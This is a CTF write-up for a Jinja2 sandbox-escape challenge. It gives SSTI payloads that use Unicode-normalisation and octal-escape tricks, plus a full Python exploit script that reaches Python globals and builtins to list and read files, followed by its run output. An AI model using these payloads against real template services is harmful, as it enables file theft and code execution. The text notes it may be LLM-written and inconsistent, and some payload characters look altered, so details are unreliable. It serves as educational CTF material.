PwnHidden Investigations CTF 2026
LetMeOut
Jinja2 SandboxedEnvironment with globals/filters cleared, one per-line budget of 170 chars and at most 3 distinct ASCII letters.
What this one teaches
- Unicode NFKC normalisation in Jinja2's getitem path bypasses the underscore-startswith check — a fullwidth underscore (U+FF3F) normalises to ASCII underscore after the safety check runs.
- Octal and Unicode escapes in Jinja2 string literals produce real strings at runtime, letting you spell arbitrary attribute/key names without using blocked ASCII letters.
- Constrained SSTI payloads: the filter name (randomised per connection) consumes 3 of your letter budget — reconnect until you get one whose LIST payload fits the 170-char limit.
Task description
This is just a calculator, try
{{ 1+1 }}Connect to the instance with TLS:
ncat --ssl <host> 1337(or pwntools:remote(host, 1337, ssl=True)).The source is attached.
Setup
/app/jail.py: per connection,random.sample(NAMES, 2)are mapped torich(v) -> Tag(v)andplain(v) -> str(Tag(v))(names are?uff).- 32 rounds per connection; the environment is rebuilt each round.
entrypoint.pywrites the flag to/flags/<8 hex>, plus 3 decoys,chdirs to/flags, and runs asnobody./flag.txtis deleted and the shell binaries removed, so we must list/flagsand read the right file.
Vulnerability
SandboxedEnvironment.getitem(obj, argument):
try: return obj[argument]
except (TypeError, LookupError):
if isinstance(argument, str):
attr = str(argument) # NFKC-normalises a Tag
value = getattr(obj, attr) # uses the normalised name
if self.is_safe_attribute(obj, argument, value): # checks the ORIGINAL
return value
is_safe_attribute rejects attributes whose original argument
.startswith("_"). If the argument is a Tag whose raw string is
"__str__" (fullwidth underscore first), then str(Tag) is __str__
while startswith("_") is False. This reaches any dunder.
Tag.__str__ is a Python function, so ...__str__.__globals__ is the jail
module dict and ...__str__.__builtins__ is the builtins dict.
Constraints
layout.isascii(), len(layout) <= 170, and at most 3 distinct alphabetic
characters. The rich filter name (?uff) supplies three letters; all other
letters must be hidden in escapes whose raw text only uses those letters/digits.
Attribute names still need the NFKC trick (a plain literal starting with _ is
blocked), so use _ for the first underscore and octal for the rest.
Dict keys and string arguments do not: ["\162\141\156\144\157\155"] is the
real string "random" at runtime, and "\144\145\141\144" is a real filename.
Payloads
R is the detected rich filter name.
LIST (169 chars for R=luff/ruff)
{{(0|R)["__\163\164\162__"|R]["__\147\154\157\142\141\154\163__"|R]["\162\141\156\144\157\155"]["_\157\163"|R]["\154\151\163\164\144\151\162"|R]()}}
= (0|R).__str__.__globals__["random"]._os.listdir()
READ (<=166)
{{(0|R)["__\163\164\162__"|R]["__\142\165\151\154\164\151\156\163__"|R]["\157\160\145\156"]("<octal filename>")["\162\145\141\144"|R]()}}
= (0|R).__str__.__builtins__["open"]("<filename>").read()
Filter names are re-randomised on every connection, so reconnect until the rich
filter gives a LIST payload <= 170 (luff/ruff, both 169; duff/tuff are
172). READ is <= 169 for every filter, so any filename fits.
Exploit script
#!/usr/bin/env python3
import socket, ssl, sys, time
NAMES = ("buff","cuff","duff","guff","huff","luff","muff","puff","ruff","tuff")
UCP = {
'a':0x2090,'b':0xFF42,'c':0xFF43,'d':0x2146,'e':0x2091,'f':0xFF46,
'g':0xFF47,'h':0x2095,'i':0x2071,'j':0x2149,'k':0x2096,'l':0x2113,
'm':0x2098,'n':0x2099,'o':0x2092,'p':0xFF50,'q':0xFF51,'r':0xFF52,
's':0x017F,'t':0xFF54,'u':0xFF55,'v':0x2174,'w':0xFF57,'x':0x2093,
'y':0xFF59,'_':0xFF3F,
}
OCT = {'a':0o252, 'o':0o272, 's':0o577}
def esc(ch):
if ch in OCT: return '\\%03o' % OCT[ch]
return '\\u%04x' % UCP[ch]
class Jail:
def __init__(self, host, port, tls):
raw = socket.create_connection((host, port), timeout=15)
self.s = (ssl._create_unverified_context().wrap_socket(raw, server_hostname=host)
if tls else raw)
self.s.settimeout(8); self.buf = bytearray(); time.sleep(0.2)
def one(self):
t = 0
while b'> ' not in self.buf:
try:
c = self.s.recv(16384)
if not c: break
self.buf.extend(c)
except socket.timeout:
t += 1
if t >= 8: break
i = self.buf.find(b'> ')
if i < 0:
r = bytes(self.buf); del self.buf[:]; return r
r = bytes(self.buf[:i]); del self.buf[:i+2]; return r
def send(self, p):
self.s.sendall(p.encode() + b'\n')
time.sleep(0.1)
return self.one().rstrip(b'\n')
def attr(name, R):
o = []
for i, ch in enumerate(name):
if ch == '_': o.append('\\uff3f' if i == 0 else '_')
elif ch.isdigit(): o.append(ch)
else: o.append(esc(ch))
return '["' + ''.join(o) + '"|' + R + ']'
def main():
host, port = sys.argv[1], int(sys.argv[2])
tls = len(sys.argv) > 3 and sys.argv[3] == 'tls'
j = Jail(host, port, tls); j.one()
assert j.send('{{1+1}}').strip() == b'2'
# Detect which filter is "rich" (returns Tag objects)
pres = [n for n in NAMES if j.send('{{1|%s}}' % n).strip() == b'1']
rich = None
for n in pres:
if b'class' in j.send('{{(1)' + attr('__class__', n) + '}}'):
rich = n; break
R = rich
F = '(0|' + R + ')' + attr('__str__', R)
JG = F + attr('__globals__', R)
OS = JG + '["\\162\\141\\156\\144\\157\\155"]' + attr('_os', R)
# LIST /flags
names = j.send('{{' + OS + attr('listdir', R) + '()}}')
import ast
flist = ast.literal_eval(names.decode())
# READ each file until we find the flag
B = F + attr('__builtins__', R)
for name in flist:
payload = '{{' + B + '["\\157\\160\\145\\156"]'
payload += '("' + ''.join('\\%03o' % b for b in name.encode()) + '")'
payload += attr('read', R) + '()}}'
out = j.send(payload)
if b'hiCTF{' in out:
print('FLAG:', out.decode().strip())
break
j.s.close()
if __name__ == '__main__':
main()
Exploit run
rich = luff LIST len 169
LIST -> ['b01e0fdb', 'bbe705d4', '7727e400', 'cd1a8d21']
READ b01e0fdb -> not the flag you're looking for
READ bbe705d4 -> not the flag you're looking for
READ 7727e400 -> hiCTF{__^_^__n0rm4l1z3_b3f0r3_y0u_tru5t__>_<___53c4bc968c}
The flagReveal
hiCTF{__^_^__n0rm4l1z3_b3f0r3_y0u_tru5t__>_<___53c4bc968c}This CTF was possibly solved, and the writeup most likely written by an LLM. Apologies for inconsistencies.